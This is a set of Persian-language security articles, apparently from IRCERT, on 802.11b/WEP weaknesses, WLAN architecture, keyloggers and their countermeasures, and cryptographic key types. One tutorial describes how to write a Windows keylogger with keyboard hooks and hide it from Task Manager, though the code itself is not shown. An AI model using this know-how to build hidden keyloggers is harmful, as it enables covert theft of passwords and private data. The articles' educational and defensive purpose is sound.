در استاندارد 802.11b نیز سرویس و روشی استفاده می‌شود که توسط آن امکان تغییر اطلاعات در حال تبادل میان مخدوم‌های بی‌سیم و نقاط دست‌رسی کم می‌شود. روش مورد نظر استفاده از یک کد CRC است. همان‌طور که در شکل قبل نیز نشان داده شده است، یک CRC-32 قبل از رمزشدن بسته تولید می‌شود. در سمت گیرنده، پس از رمزگشایی، CRC داده‌های رمزگشایی شده مجدداً محاسبه شده و با CRC نوشته شده در بسته مقایسه می‌گردد که هرگونه اختلاف میان دو CRC به‌معنای تغییر محتویات بسته در حین تبادل است. متأسفانه این روش نیز مانند روش رمزنگاری توسط RC4، مستقل از اندازه‌ی کلید امنیتی مورد استفاده، در مقابل برخی از حملات شناخته شده آسیب‌پذیر است.

متأسفانه استاندارد 802.11b هیچ مکانیزمی برای مدیریت کلیدهای امنیتی ندارد و عملاً تمامی عملیاتی که برای حفظ امنیت کلیدها انجام می‌گیرد باید توسط کسانی که شبکه‌ی بی‌سیم را نصب می‌کنند به‌صورت دستی پیاده‌سازی گردد. از آنجایی که این بخش از امنیت یکی از معضل‌های اساسی در مبحث رمزنگاری است، با این ضعف عملاً روش‌های متعددی برای حمله به شبکه‌های بی‌سیم قابل تصور است. این روش‌ها معمولاً بر سهل انگاری‌های انجام‌شده از سوی کاربران و مدیران شبکه مانند تغییرندادن کلید به‌صورت مداوم، لودادن کلید، استفاده از کلیدهای تکراری یا کلیدهای پیش فرض کارخانه و دیگر بی توجهی ها نتیجه یی جز درصد نسبتاً بالایی از حملات موفق به شبکه‌های بی‌سیم ندارد. این مشکل از شبکه‌های بزرگ‌تر بیش‌تر خود را نشان می‌دهد. حتا با فرض تلاش برای جلوگیری از رخ‌داد چنین سهل‌انگاری‌هایی، زمانی که تعداد مخدوم‌های شبکه از حدی می‌گذرد عملاً کنترل‌کردن این تعداد بالا بسیار دشوار شده و گه‌گاه خطاهایی در گوشه و کنار این شبکه‌ی نسبتاً بزرگ رخ می دهد که همان باعث رخنه در کل شبکه می‌شود.

در قسمت بعد به مشکلات و ضعف‌هایی که سرویس‌های امنیتی در استاندارد 802.11b دارند می‌پردازیم.


﻿ IRCERT - امنیت در شبکه های بی سیم(بخش سوم) - مقالات

امنیت در شبکه‌های بی‌سیم

بخش سوم : عناصر فعال و سطح پوشش WLAN

عناصر فعال شبکه‌های محلی بی‌سیم

در شبکه‌های محلی بی‌سیم معمولاً دو نوع عنصر فعال وجود دارد :

- ایستگاه بی سیم

ایستگاه یا مخدوم بی‌سیم به طور معمول یک کامپیوتر کیفی یا یک ایستگاه کاری ثابت است که توسط یک کارت شبکه‌ی بی‌سیم به شبکه‌ی محلی متصل می‌شود. این ایستگاه می‌تواند از سوی دیگر یک کامپیوتر جیبی یا حتی یک پویش گر بارکد نیز باشد. در برخی از کاربردها برای این‌که استفاده از سیم در پایانه‌های رایانه‌یی برای طراح و مجری دردسر‌ساز است، برای این پایانه‌ها که معمولاً در داخل کیوسک‌هایی به‌همین منظور تعبیه می‌شود، از امکان اتصال بی‌سیم به شبکه‌ی محلی استفاده می‌کنند. در حال حاضر اکثر کامپیوترهای کیفی موجود در بازار به این امکان به‌صورت سرخود مجهز هستند و نیازی به اضافه‌کردن یک کارت شبکه‌ی بی‌سیم نیست.

کارت‌های شبکه‌ی بی‌سیم عموماً برای استفاده در چاک‌های PCMCIA است. در صورت نیاز به استفاده از این کارت‌ها برای کامپیوترهای رومیزی و شخصی، با استفاده از رابطی این کارت‌ها را بر روی چاک‌های گسترش PCI نصب می‌کنند.

- نقطه ی دسترسی

نقاط دسترسی در شبکه‌های بی‌سیم، همان‌گونه که در قسمت‌های پیش نیز در مورد آن صحبت شد، سخت افزارهای فعالی هستند که عملاً نقش سوییچ در شبکه‌های بی‌سیم را بازی‌کرده، امکان اتصال به شبکه های سیمی را نیز دارند. در عمل ساختار بستر اصلی شبکه عموماً سیمی است و توسط این نقاط دسترسی، مخدوم‌ها و ایستگاه‌های بی‌سیم به شبکه‌ی سیمی اصلی متصل می‌گردد.

برد و سطح پوشش

شعاع پوشش شبکه‌ی بی‌سیم بر اساس استاندارد 802.11 به فاکتورهای بسیاری بسته‌گی دارد که برخی از آن‌ها به شرح زیر هستند :

- پهنای باند مورد استفاده

- منابع امواج ارسالی و محل قرارگیری فرستنده‌ها و گیرنده‌ها

- مشخصات فضای قرارگیری و نصب تجهیزات شبکه‌ی بی‌سیم

- قدرت امواج

- نوع و مدل آنتن

شعاع پوشش از نظر تئوری بین ۲۹متر (برای فضاهای بسته‌ی داخلی) و ۴۸۵متر (برای فضاهای باز) در استاندارد 802.11b متغیر است. با این‌وجود این مقادیر، مقادیری متوسط هستند و در حال حاضر با توجه به گیرنده‌ها و فرستنده‌های نسبتاً قدرت‌مندی که مورد استفاده قرار می‌گیرند، امکان استفاده از این پروتکل و گیرنده‌ها و فرستنده‌های آن، تا چند کیلومتر هم وجود دارد که نمونه‌های عملی آن فراوان‌اند.

با این وجود شعاع کلی‌یی که برای استفاده از این پروتکل (802.11b) ذکر می‌شود چیزی میان ۵۰ تا ۱۰۰متر است. این شعاع عمل‌کرد مقداری‌ست که برای محل‌های بسته و ساختمان‌های چند طبقه نیز معتبر بوده و می‌تواند مورد استناد قرار گیرد.

شکل زیر مقایسه‌یی میان بردهای نمونه در کاربردهای مختلف شبکه‌های بی‌سیم مبتنی بر پروتکل 802.11b را نشان می‌دهد :

یکی از عمل‌کردهای نقاط دسترسی به عنوان سوییچ‌های بی‌سیم، عمل اتصال میان حوزه‌های بی‌سیم است. به‌عبارت دیگر با استفاده از چند سوییچ بی‌سیم می‌توان عمل‌کردی مشابه Bridge برای شبکه‌های بی‌سیم را به‌دست‌ آورد.

اتصال میان نقاط دست‌رسی می‌تواند به صورت نقطه‌به‌نقطه، برای ایجاد اتصال میان دو زیرشبکه به یکدیگر، یا به صورت نقطه‌یی به چند نقطه یا بالعکس برای ایجاد اتصال میان زیرشبکه‌های مختلف به یکدیگر به‌صورت همزمان صورت گیرد.

نقاط دسترسی‌یی که به عنوان پل ارتباطی میان شبکه‌های محلی با یکدیگر استفاده می‌شوند از قدرت بالاتری برای ارسال داده استفاده می‌کنند و این به‌معنای شعاع پوشش بالاتر است. این سخت‌افزارها معمولاً برای ایجاد اتصال میان نقاط و ساختمان‌هایی به‌کار می‌روند که فاصله‌ی آن‌ها از یکدیگر بین ۱ تا ۵ کیلومتر است. البته باید توجه داشت که این فاصله، فاصله‌یی متوسط بر اساس پروتکل 802.11b است. برای پروتکل‌های دیگری چون 802.11a می‌توان فواصل بیشتری را نیز به‌دست آورد.

شکل زیر نمونه‌یی از ارتباط نقطه به نقطه با استفاده از نقاط دست‌رسی مناسب را نشان می‌دهد :

از دیگر استفاده‌های نقاط دسترسی با برد بالا می‌توان به امکان توسعه‌ی شعاع پوشش شبکه های بی‌سیم اشاره کرد. به عبارت دیگر برای بالابردن سطح تحت پوشش یک شبکه‌ی بی‌سیم، می‌توان از چند نقطه‌ی دست‌رسی بی‌سیم به‌صورت همزمان و پشت به پشت یکدیگر استفاده کرد. به عنوان نمونه در مثال بالا می‌توان با استفاده از یک فرستنده‌ی دیگر در بالای هریک از ساختمان‌ها، سطح پوشش شبکه را تا ساختمان‌های دیگر گسترش داد.

در قسمت بعد به مزایای معمول استفاده از شبکه‌های محلی بی‌سیم و ذکر مقدماتی در مورد روش‌های امن سازی این شبکه‌ها می‌پردازیم.


﻿ IRCERT - امنیت در شبکه های بی سیم(بخش دوم) - مقالات

امنیت در شبکه‌های بی‌سیم

بخش دوم : شبکه‌های محلی بی‌سیم

در این قسمت، به‌عنوان بخش دوم از بررسی‌ امنیت در شبکه‌های بی‌سیم، به مرور کلی‌ شبکه‌های محلی‌ بی‌سیم می‌پردازیم. اطلاع از ساختار و روش عمل‌کرد این شبکه‌ها، حتی به صورت جزءیی، برای بررسی امنیتی لازم به‌نظر می‌رسد.

پیشینه

تکنولوژی و صنعت WLAN به اوایل دهه‌ی ۸۰ میلادی باز می‌گردد. مانند هر تکنولوژی دیگری، پیشرفت شبکه‌های محلی‌ بی‌سیم به کندی صورت می‌پذیرفت. با ارایه‌ی استاندارد IEEE 802.11b، که پهنای باند نسبتاً بالایی را برای شبکه‌های محلی امکان‌پذیر می‌ساخت، استفاده از این تکنولوژی وسعت بیشتری یافت. در حال حاضر، مقصود از WLAN تمامی پروتکل‌ها و استانداردهای خانواده‌ی IEEE 802.11 است. جدول زیر اختصاصات این دسته از استانداردها را به صورت کلی نشان می‌دهد

اولین شبکه‌ی محلی بی‌سیم تجاری توسط Motorola پیاده‌سازی شد. این شبکه، به عنوان یک نمونه از این شبکه‌ها، هزینه‌یی بالا و پهنای باندی پایین را تحمیل می‌کرد که ابداً مقرون به‌صرفه نبود. از همان زمان به بعد، در اوایل دهه‌ی ۹۰ میلادی، پروژه‌ی استاندارد 802.11 در IEEE شروع شد. پس از نزدیک به ۹ سال کار، در سال ۱۹۹۹ استانداردهای 802.11a و 802.11b توسط IEEE نهایی شده و تولید محصولات بسیاری بر پایه‌ی این استانداردها آغاز شد. نوع a، با استفاده از فرکانس حامل 5GHz، پهنای باندی تا 54Mbps را فراهم می‌کند. در حالی‌که نوع b با استفاده از فرکانس حامل 2.4GHz، تا 11Mbps پهنای باند را پشتیبانی می‌کند. با این وجود تعداد کانال‌های قابل استفاده در نوع b در مقایسه با نوع a، بیش‌تر است. تعداد این کانال‌ها، با توجه به کشور مورد نظر، تفاوت می‌کند. در حالت معمول، مقصود از WLAN استاندارد 802.11b است.

استاندارد دیگری نیز به‌تاز‌ه‌گی توسط IEEE معرفی شده است که به 802.11g شناخته می‌شود. این استاندارد بر اساس فرکانس حامل 2.4GHz عمل می‌کند ولی با استفاده از روش‌های نوینی می‌تواند پهنای باند قابل استفاده را تا 54Mbps بالا ببرد. تولید محصولات بر اساس این استاندارد، که مدت زیادی از نهایی‌شدن و معرفی آن نمی‌گذرد، بیش از یک‌سال است که آغاز شده و با توجه سازگاری‌ آن با استاندارد 802.11b، استفاده از آن در شبکه‌های بی‌سیم آرام آرام در حال گسترش است.

معماری‌ شبکه‌های محلی‌ بی‌سیم

استاندارد 802.11b به تجهیزات اجازه می‌دهد که به دو روش ارتباط در شبکه برقرار شود. این دو روش عبارت‌اند از برقراری‌ ارتباط به صورت نقطه به نقطه –همان‌گونه در شبکه‌های Ad hoc به‌کار می‌رود- و اتصال به شبکه از طریق نقاط تماس یا دسترسی (AP=Access Point).

معماری‌ معمول در شبکه‌های محلی‌ بی‌سیم بر مبنای استفاده از AP است. با نصب یک AP، عملاً مرزهای یک سلول مشخص می‌شود و با روش‌هایی می‌توان یک سخت‌افزار مجهز به امکان ارتباط بر اساس استاندارد 802.11b را میان سلول‌های مختلف حرکت داد. گستره‌یی که یک AP پوشش می‌دهد را BSS(Basic Service Set) می‌نامند. مجموعه‌ی تمامی سلول‌های یک ساختار کلی‌ شبکه، که ترکیبی از BSSهای شبکه است، را ESS(Extended Service Set) می‌نامند. با استفاده از ESS می‌توان گستره‌ی وسیع‌تری را تحت پوشش شبکه‌ی محلی‌ بی‌سیم درآورد.

در سمت هریک از سخت‌افزارها که معمولاً مخدوم هستند، کارت شبکه‌یی مجهز به یک مودم بی‌سیم قرار دارد که با AP ارتباط را برقرار می‌کند. AP علاوه بر ارتباط با چند کارت شبکه‌ی بی‌سیم، به بستر پرسرعت‌تر شبکه‌ی سیمی مجموعه نیز متصل است و از این طریق ارتباط میان مخدوم‌های مجهز به کارت شبکه‌ی بی‌سیم و شبکه‌ی اصلی برقرار می‌شود. شکل زیر نمایی از این ساختار را نشان می‌دهد :

همان‌گونه که گفته شد، اغلب شبکه‌های محلی‌ بی‌سیم بر اساس ساختار فوق، که به نوع Infrastructure نیز موسوم است، پیاده‌سازی می‌شوند. با این وجود نوع دیگری از شبکه‌های محلی‌ بی‌سیم نیز وجود دارند که از همان منطق نقطه‌به‌نقطه استفاده می‌کنند. در این شبکه‌ها که عموماً Ad hoc نامیده می‌شوند یک نقطه‌ی مرکزی‌ برای دسترسی وجود ندارد و سخت‌افزارهای همراه – مانند کامپیوترهای کیفی و جیبی یا گوشی‌های موبایل – با ورود به محدوده‌ی تحت پوشش این شبکه، به دیگر تجهیزات مشابه متصل می‌گردند. این شبکه‌ها به بستر شبکه‌ی سیمی متصل نیستند و به همین منظور IBSS (Independent Basic Service Set) نیز خواند می‌شوند. شکل زیر شمایی ساده از یک شبکه‌ی Ad hoc را نشان می‌دهد :

شبکه‌های Ad hoc از سویی مشابه شبکه‌های محلی‌ درون دفتر کار هستند که در آنها نیازی به تعریف و پیکربندی‌ یک سیستم رایانه‌یی به عنوان خادم وجود ندارد. در این صورت تمامی تجهیزات متصل به این شبکه می‌توانند پرونده‌های مورد نظر خود را با دیگر گره‌ها به اشتراک بگذارند.

در قسمت بعد، به دسته‌بندی‌ اجزای فعال یک شبکه‌ی محلی‌ بی‌سیم پرداخته و شعاع پوشش این دسته از شبکه‌ها را مورد بررسی قرار خواهیم داد.


﻿ IRCERT - مقالات - Keylogger

Keylogger ابزاری برای جاسوسی

Keylogger ابزاری است که دنباله کلیدهایی که کاربر بر روی صفحه‌کلید کامپیوتر می‌فشارد، را ثبت می‌کند. این ابزار که به صورت‌های سخت‌افزاری و نرم‌افزاری تولید شده و در دسترس است در موارد متنوع و با کاربردهای مختلف به کار می‌رود. نمونه‌های مختلف Keylogger مقدار کمی از منابع سیستم شامل حافظه و پردازنده را مورد استفاده قرار می‌دهند. علاوه بر این در Task manager و لیست فرایندهای سیستم هم ظاهر نمی‌شوند، بنابراین تشخیص آنها بر روی دستگاه به سادگی امکان‌پذیر نیست.

علی رغم اهمیت زیادی که این ابزار در از بین رفتن حریم شخصی افراد و سرقت اطلاعات آنها دارد، توجه زیادی به این ابزار و تهدیدات ناشی از آن نمی‌شود. شاید دلیل این امر شهرت بیشتر ویروس‌ها، اسب‌های تروا و کرم‌ها و شناخت بیشتر نسبت به آنهاست. گروه امداد امنیت کامپیوتری ایران با توجه به سادگی انتشار این ابزار و تهدیدات ناشی از آن در این مقاله به معرفی keylogger‌ و روش‌های مقابله با آن پرداخته است.

قابلیت‌های Keylogger ها

قابلیت Keylogger ها در این است که هر کلیدی که فشرده شود را ذخیره نموده، لیستی از حروف تایپ شده بر روی کامپیوتر را تولید می‌کنند. این لیست سپس در اختیار فردی که برنامه را بر روی دستگاه نصب کرده قرار می‌گیرد. بعضی از Keylogger ها این امکان را دارند که گزارش حروف تایپ شده را به کامپیوتری دیگر بر روی شبکه ارسال کنند. امکان ارسال اطلاعات ذخیره شده از طریق e-mail هم وجود دارد.

علاوه بر ذخیره حروف تایپ شده، بعضی از Keylogger ها اطلاعات خاصی را به صورت جدای از سایرین ثبت و گزارش آنها را تولید می‌کنند. لیست URL‌هایی که توسط کاربر دستگاه مشاهده شده و یا پیام‌هایی که در جریان Chat بین کاربر و دیگران رد و بدل می‌شود، جزء این گروه از اطلاعات می‌باشند.

قابلیت جالبی که تعدادی از Keylogger ها دارند گرفتن عکس از صفحه کامپیوتر در فواصل زمانی قابل تنظیم است. به این ترتیب مشخص می‌شود که چه برنامه‌هایی بر روی کامپیوتر نصب و در حال اجرا می‌باشند، چه فایل‌هایی بر روی DeskTop دستگاه قرار دارد و چه فعالیت‌هایی بر روی دستگاه انجام می‌شود.

انواع Keylogger ها

شرکت‌های مختلف تولید کننده Keylogger محصولات خود را به دو صورت سخت‌افزاری و نرم‌افزاری ارائه می‌نمایند. نرم‌افزارهای Keylogger به صورت بسته‌های نرم‌افزاری توسط شرکت‌های مختلفی توسعه داده ‌شده، با قابلیت‌های مختلف به صورت‌های تجاری و یا مجانی عرضه می‌گردند. با یک جستجوی ساده بر روی کلمه KeyLogger‌ در یکی از موتورهای جستجو نمونه‌های زیادی از این ابزار یافته می‌شود که بعضی از آنها به صورت مجانی قابل دریافت می‌باشد. نکته‌ای که در همه نرم‌افزارهای Keylogger وجود دارد این است که هیچ یک از آنها در Task Manager و لیست فرایندهای دستگاه ظاهر نمی‌شوند. علاوه بر این فایلی که نرم‌افزار برای ثبت اطلاعات از آن بهره می‌گیرد نیز مخفی بوده و به سادگی قابل تشخیص نیست.

برای استفاده از قابلیت‌های keylogger باید یک نمونه از نرم‌افزار بر روی دستگاه مورد نظر نصب شود. این کار با داشتن مجوز‌های مدیر سیستم امکان‌پذیر است. در این صورت حتی از راه دور هم می‌توان برنامه را نصب نمود. انتقال Keylogger از طریق e-mail‌ هم ممکن است. در این روش نرم‌افزار به همراه با یک فایل پیوست برای قربانی ارسال می‌گردد. باز کردن نامه و گرفتن پیوست آن منجر به نصب و فعال شدن keylogger بر روی دستگاه می‌شود.

نمونه‌های سخت‌افزاری این ابزار که بین صفحه‌کلید و درگاه کامپیوتر وصل می‌شوند معمولا مشابه کابل اتصال می‌باشند. با توجه به اینکه اتصال این ابزار از پشت دستگاه انجام می‌شود لذا در معرض دید نبوده و احتمال اینکه کاربر به سرعت وجود آن را کشف کند پایین است. علاوه بر این نمونه‌هایی از Keylogger ها داخل خود صفحه کلید قرار می‌گیرند و امکان شناسایی شدن آن به سادگی وجود ندارد.

نمونه‌ای از Keylogger سخت‌افزاری

کاربردهای Keylogger

پس از آشنایی با مشخصات و قابلیت‌های Keylogger اولین چیزی که به ذهن هر کسی می‌رسد استفاده از آن برای یافتن کلمات عبور دیگران می‌باشد. با استفاده از این ابزار امکان دزدیدن شناسه‌های کاربری، کلمات عبور، شماره کارت اعتباری و ... بوجود می‌آید. از جمله مواردی که Keylogger ها در کاربردهای منفی مورد استفاده قرار گرفته‌اند می‌توان به دو مورد زیر اشاره نمود:

در فوریه ۲۰۰۳ دیوید بودرو که دانشجوی دانشگاه بوستون بود اقدام به نصب Keylogger بر روی بیش از ۱۰۰ دستگاه کامپیوتر دانشگاه نمود. او با استفاده از اطلاعاتی که به این ترتیب در مورد اساتید، دانشجویان و کارکنان دانشگاه به دست آورد، توانست بیش از۲۰۰۰ دلار به دست آورد. مورد دیگر مربوط به جولای ۲۰۰۳ است که در آن جوجو جیانگ اعتراف نمود بر روی کامپیوترهای بیست فروشگاه در نیویورک Keylogger نصب نموده و به مدت دو سال شناسه‌های کاربری و کلمات عبور کاربران را از این طریق سرقت می‌کرده است.

در کنار این کاربردها که همگی منفی بوده و به نوعی سوء استفاده از قابلیت‌های یک ابزار محسوب می‌شوند کاربردهای دیگری نیز برای این ابزار وجود دارد. بسیاری از والدین همواره نگران نحوه استفاده فرزندان خود از اینترنت هستند. با توجه به وجود انواع سایت‌ها و مراکز اطلاع رسانی، این والدین دوست دارند که کنترل بیشتری بر استفاده از اینترنت داشته باشند. حداقل خواسته آنها این است که بدانند فرزندانشان چه سایت‌هایی را مشاهده می‌نمایند و یا با چه کسانی چت می‌کنند. در چنین مواردی استفاده از این ابزار می‌تواند کمکی باشد برای والدینی که نگران سلامت روانی فرزندان خود بوده و نسبت به تربیت آنها دغدغه‌های خاص خود را دارند.

Anti- Keylogger

این نرم‌افزارها با هدف شناسایی و ردیابی Keylogger ها تولید می‌شوند. با توجه به اینکه Keylogger ها روش‌های مختلفی برای کار و مخفی کردن خود دارند شناسایی آنها به سادگی امکان پذیر نیست. نمونه‌هایی از این نرم‌افزارها از طریق جستجو در اینترنت قابل دریافت می‌باشند. ولی واقعیتی که در رابطه با همه این نرم‌افزارها وجود دارد عدم کارآیی آنها در مواجه با Keylogger های متنوع است.

تولیدکنندگان Keylogger، عموما ابزارهایی هم برای ردیابی Keyloggerهای خود به مشتریان عرضه می‌کنند. این ابزارها جامع نیستند و با توجه به اینکه روش‌های مختلفی برای ثبت کلیدهای فشرده شده وجود دارد، نمی‌توانند همه Keylogger ها را شناسایی نمایند.

روش‌های مقابله

متاسفانه ردیابی Keylogger ها بر روی دستگاه بسیار دشوار بوده و anti Keylogger ها هم کارایی مطلوبی ندارند. تنها راهی که برای مقابله با این ابزارها و جلوگیری از دزدی اطلاعات و نقض حریم شخصی می‌توان پیشنهاد داد بهره گرفتن از روش‌های پیش‌گیرانه است. موارد زیر به کاربران کامپیوترهای متصل به شبکه و مدیران سیستم توصیه می‌شود:

1. کاربران عادی کامپیوتر باید با اختیارات عادی به کامپیوتر وصل شده و مجوز نصب برنامه نداشته باشند.

2. تعداد اعضای گروه مدیران سیستم باید محدود بوده و سیاست‌های دقیقی بر فرایند انتخاب و محافظت از کلمات عبور حاکم باشد.

3. هیچ‌گاه نباید با شناسه کاربری مدیر سیستم به اینترنت (و حتی شبکه محلی) وصل شد. ممکن است در همین زمان هکرها به سیستم نفوذ کرده و با استفاده از اختیارات مدیران سیستم اقدام به نصب نرم‌افزار keylogger بر روی دستگاه نمایند.

4. پورت صفحه‌کلید کامپیوتر باید هر چند وقت یکبار مورد بازرسی قرار گیرد و سخت‌افزارهای مشکوک بررسی شوند.

یکی از روش‌های انتقال keyloggerها از طریق e-mail است. لذا باید نکات امنیتی لازم رعایت شده، از باز کردن نامه‌های مشکوک اجتناب شود.


﻿ IRCERT - مقالات - keyloggerنوشتن

نوشتن keylogger نرم‌افزاری

در مقاله keylogger ابزاری برای جاسوسی قابلیت‌ها و نحوه کار این ابزار مورد بررسی قرار گرفته، انواع موجود این ابزار معرفی شدند. در این مقاله به معرفی ساختار keylogger‌های نرم‌افزاری و روش نوشتن برنامه‌های keylogger پرداخته می‌شود.

Windows hook

هسته بسیاری از keyloggerها با استفاده از مکانیزم Windows hook بنا شده است. Hook نقطه‌ای در مکانیزم مدیریت پیام‌های سیستم ویندوز است که برنامه‌های مختلف می‌توانند با نصب یک زیربرنامه ترافیک پیام‌ها را قبل از رسیدن به برنامه مقصد شنود نمایند. Hook پانزده نوع دارد که هر یک از آنها به رویدادی خاصی از سیستم مرتبط هستند. پروتوتایپ hook به صورت زیر است:

زنجیره hook‌ لیستی از اشاره‌گرها به زیربرنامه‌های hook‌ است. همزمان با ایجاد پیام جدیدی از یک نوع hook خاص، سیستم پیام را یک به یک به همه زیربرنامه‌هایی که در زنجیره hook‌ به آنها اشاره شده است ارسال می‌نماید.

یک زیربرنامه hook‌ می‌تواند بر ارسال پیام در زنجیره hook‌ نظارت داشته و یا آن را تغییر دهد. علاوه ‌بر این امکان ممانعت از رسیدن پیام به زیربرنامه بعدی در لیست و یا به برنامه مقصد وجود دارد.

تابع SetWindowsHookEx که پروتوتایپی مشابه زیر دارد یک زیربرنامه در ابتدای زنجیره hook قرار می‌دهد.

نمونه‌های مختلفی از متن برنامه‌های Keylogger از سایت http://www.planetsourcecode.com قابل دریافت است. در صورتی آشنایی با طرز کار windows hooks نوشتن keylogger‌ دشوار نبوده و نیاز به کد زیادی ندارد. تابع InstallHook که از یکی از keyloggerها برداشته شده است فایلی که برای ثبت گزارشات استفاده می‌شود را مشخص نموده، زیربرنامه ثبت فعالیت‌های صفحه‌کلید KeyboardProc را در زنجیره hook نصب می‌کند. این کار با فراخوانی تابع SetWindowsHooksEx انجام می‌شود.

در شرایطی که کلا ۱۵ نوع hook وجود دارد، WH_KEYBOARD و WH_MOUSE برای نوشتن keylogger ضروری هستند. در اینجا WH_KEYBOARD شرح داده می‌شود و شرح سایر انواع hook‌ در سایت http://msdn.microsoft.com قابل دسترسی است.

WH_KEYBOARD

این hook برنامه‌ها را قادر می‌سازد که بتوانند ترافیک پیام‌های WM_KEYDOWN و WM_KEYUP که توسط GetMessage و PeekMessage بازگردانده می‌شوند را مانیتور نمایند. هرگاه یکی از توابع GetMessage و PeekMessage فراخوانی شوند و یک پیام مربوط به صفحه کلید (WM_KEYUP یا WM_KWYDOWN‌) فراخوانی شود، سیستم‌عامل اقدام به فراخوانی این زیربرنامه می‌نماید. پروتوتایپ تابع به شکل زیر است:

متن زیر KeyboardProc است که از یکی از keyloggerها گرفته شده است. این تابع فایل خروجی را باز نموده و حرف مرتبط با کلید فشرده شده را در آن می‌نویسد. در مواقعی که لازم باشد با فراخوانی تابع ToAscii کد کلید مجازی مشخص شده و وضعیت صفحه کلید به حرف یا حروف متناظر ترجمه می‌گردد.

هرگاه رویدادی رخ ‌دهد که توسط hook خاصی مانیتور می‌شود، سیستم عامل اولین زیربرنامه در زنجیره hook را فراخوانی می‌کند. هر زیربرنامه hook در لیست تصمیم می‌گیرد که رویداد را به زیربرنامه بعدی ارسال نماید یا خیر. در صورتی که بنا بر ارسال رویداد باشد از تابع CallNextHookEx استفاده می‌شود.

مخفی کردن keylogger

روش‌های مختلفی برای جلوگیری از نمایش نام یک keylogger فعال در مدیر وظیفه (task manager) یا لیست پردازنده وجود دارد. یک از این روش‌ها باز کردن یک پنجره مخفی در هنگام روشن شده دستگاه و مقداردهی مناسب به پارامتر‌های لازمه به صورت زیر است.


﻿ IRCERT - کلیدها در رمزنگاری - مقالات

کلیدها در رمزنگاری

با روشن شدن اهمیت وجود کلیدها در امنیت داده‌ها، اکنون باید به انواع کلیدهای موجود و مکان مناسب برای استفاده هر نوع کلید توجه کنیم.

۱- کلیدهای محرمانه (Secret keys)

الگوریتمهای متقارن مانند DES از کلیدهای محرمانه استفاده می‌کنند؛ کلید باید توسط دو طرف تراکنش منتقل و ذخیره شود. چون فرض بر این است که الگوریتم شناخته شده و معلوم است، این قضیه اهمیت امن بودن انتقال و ذخیره کلید را مشخص می‌سازد. کارتهای هوشمند معمولا برای ذخیره کلیدهای محرمانه استفاده می‌شوند. در این حالت تضمین اینکه قلمرو کلید محدود است، مهم است: باید همیشه فرض کنیم که یک کارت ممکن است با موفقیت توسط افراد غیرمجاز تحلیل گردد، و به این ترتیب کل سیستم نباید در مخاطره قرار گیرد.

۲- کلیدهای عمومی و اختصاصی (Public and private keys)

امتیاز اصلی و مهم سیستمهای کلید نامتقارن این است که آنها اجازه می‌دهند که یک کلید (کلید اختصاصی) با امنیت بسیار بالا توسط تولید کننده آن نگهداری شود در حالیکه کلید دیگر (کلید عمومی)می‌تواند منتشر شود. کلیدهای عمومی می‌توانند همراه پیامها فرستاده شوند یا در فهرستها لیست شوند (شروط و قوانینی برای کلیدهای عمومی در طرح فهرست پیام‌رسانی الکترونیکی ITU X.500 وجود دارد)، و از یک شخص به شخص بعدی داده شوند. مکانیسم توزیع کلیدهای عمومی می‌تواند رسمی (یک مرکز توزیع کلید) یا غیررسمی باشد.

محرمانگی کلید اختصاصی در چنین سیستمی مهمترین مساله است؛ باید توسط ابزار منطقی و فیزیکی در کامپیوتری که ذخیره شده، محافظت گردد. کلیدهای اختصاصی نباید هرگز بصورت رمزنشده در یک سیستم کامپیوتر معمولی یا بشکلی که توسط انسان قابل خواندن باشد، ذخیره شوند. در اینجا نیز کارت هوشمند برای ذخیره کلیدهای اختصاصی یک فرد قابل استفاده است، اما کلیدهای اختصاصی سازمانهای بزرگ معمولا نباید در یک کارت ذخیره شود.

۳- کلیدهای اصلی و کلیدهای مشتق‌شده (Master keys and derived keys)

یک روش کاستن از تعداد کلیدهایی که باید منتقل و ذخیره شوند، مشتق گرفتن از آنهاست هر زمانی که استفاده می‌شوند. در یک برنامه اشتقاق کلید، یک کلید اصلی همراه با چند پارامتر مجزا برای محاسبه کلید مشتق‌شده استفاده می‌شود که بعدا برای رمزنگاری استفاده می‌گردد. برای مثال، اگر یک صادرکننده با تعداد زیادی کارت سروکار دارد، می‌تواند برای هر کارت، با استفاده از کلید اصلی، شماره کارت را رمز کند و به این ترتیب کلید مشتق‌شده حاصل می‌شود و به آن کارت اختصاص داده می‌شود.

شکل دیگری از کلیدهای مشتق‌شده با استفاده از tokenها که محاسبه‌گرهای الکترونیکی با عملکردهای بخصوص هستند، محاسبه می‌شوند. آنها ممکن است بعنوان ورودی از یک مقدار گرفته شده از سیستم مرکزی، یک PIN وارد شده توسط کاربر و تاریخ و زمان استفاده کنند. خود token شامل الگوریتم و یک کلید اصلی است. چنینی token هایی اغلب برای دسترسی به سیستمهای کامپیوتری امن استفاده می‌شوند.

۴- کلیدهای رمزکننده‌کلید (Key-encrypting keys)

از آنجا که ارسال کلید یک نقطه ضعف از نظر امنیتی در یک سیستم بشمار می‌رود، رمزکردن کلیدها هنگام ارسال و ذخیره آنها بشکل رمزشده منطقی بنظر می‌رسد. کلیدهای رمزکننده کلید هرگز به خارج از یک سیستم کامپیوتری (یا کارت هوشمند) ارسال نمی‌شوند و بنابراین می‌توانند آسانتر محافظت شوند تا آنهایی که ارسال می‌شوند. اغلب الگوریتم متفاوتی برای تبادل کلیدها از آنچه که برای رمزکردن پیامها استفاده می‌شود، مورد استفاده قرار می‌گیرد.

از مفهوم دامنه کلید (key domain) برای محدود کردن میدان کلیدها و محافظت کردن کلیدها در دامنه‌شان استفاده می‌کنیم. معمولا یک دامنه، یک سیستم کامپیوتری خواهد بود که می‌تواند بصورت فیزیکی و منطقی محافظت گردد. کلیدهای استفاده شده در یک دامنه توسط یک کلید رمزکننده‌کلید محلی ذخیره می‌شوند.هنگامی که کلیدها می‌خواهند به یک سیستم کامپیوتری دیگر فرستاده شوند، رمزگشایی و تحت یک کلید جدید رمز می‌شوند که اغلب بعنوان کلید کنترل ناحیه (zone control key) شناخته می‌شوند. با دریافت این کلیدها در طرف دیگر، تحت کلید محلی سیستم جدید رمز می‌شوند. بنابراین کلیدهایی که در دامنه‌های یک ناحیه قرار دارند از دامنه‌ای به دامنه دیگر بصورتی که بیان گردید منتقل می‌شوند.

۵- کلیدهای نشست (Session keys)

برای محدودکردن مدت زمانی که کلیدها معتبر هستند، اغلب یک کلید جدید برای هر نشست یا هر تراکنش تولید می‌شود. این کلید ممکن است یک عدد تصادفی تولید شده توسط ترمینالی باشد که در مرحله تصدیق کارت قرار دارد باشد. اگر کارت قادر به رمزگشایی روش کلید عمومی باشد، یعنی کلید نشست می‌تواند با استفاده از کلید عمومی کارت رمز شود.

